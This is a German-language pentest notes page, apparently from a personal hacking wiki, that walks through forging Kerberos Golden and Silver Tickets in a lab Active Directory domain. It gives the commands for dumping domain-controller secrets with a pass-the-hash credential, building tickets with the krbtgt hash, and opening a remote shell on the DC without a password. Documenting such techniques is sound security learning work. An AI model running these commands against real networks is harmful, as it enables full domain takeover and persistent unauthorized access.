> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket und Silver Ticket

Sicherheitsnotizen zu Active Directory für Kerberos Golden Ticket und Silver Ticket, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

Das Ziel ist es, unsere eigenen Kerberos-Tickets zu fälschen.

Dazu beginnen wir damit, die notwendigen Geheimnisse vom Domain-Controller abzurufen.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aef15ce41e6c9ae401a31c87e18238b09f4722ee%2Fimage%20(13).png?alt=media" alt=""><figcaption></figcaption></figure>

Hier holen wir den Hash des `krbtgt` Kontos ab.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f085da3b01c5617ba74626fe7d02afc3519552f5%2Fimage%20(14).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir ermitteln außerdem die `Domänen-SID`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab401e3a160b1e7cbcfdb43ef8c8a4f1fd17153%2Fimage%20(15).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit `ticketer.py` können wir für dieses Konto ein Golden Ticket erzeugen.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Dann laden wir dieses Ticket in den lokalen Kerberos-Cache.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea9ee52ab8a87f59a1ec93c2bfa824e6d303059c%2Fimage%20(17).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald das Ticket geladen ist, können wir uns ohne Passwort remote anmelden.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-208aa6b05cfe0b82667b0bfaa8028c10fdd09fd1%2Fimage%20(18).png?alt=media" alt=""><figcaption></figcaption></figure>

Um ein Silver Ticket zu erzeugen, bleibt das Prinzip dasselbe, aber das Ticket ist für einen bestimmten Dienst.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69c312def487a63af1bea798d578f0cc08dcb6fd%2Fimage%20(20).png?alt=media" alt=""><figcaption></figcaption></figure>


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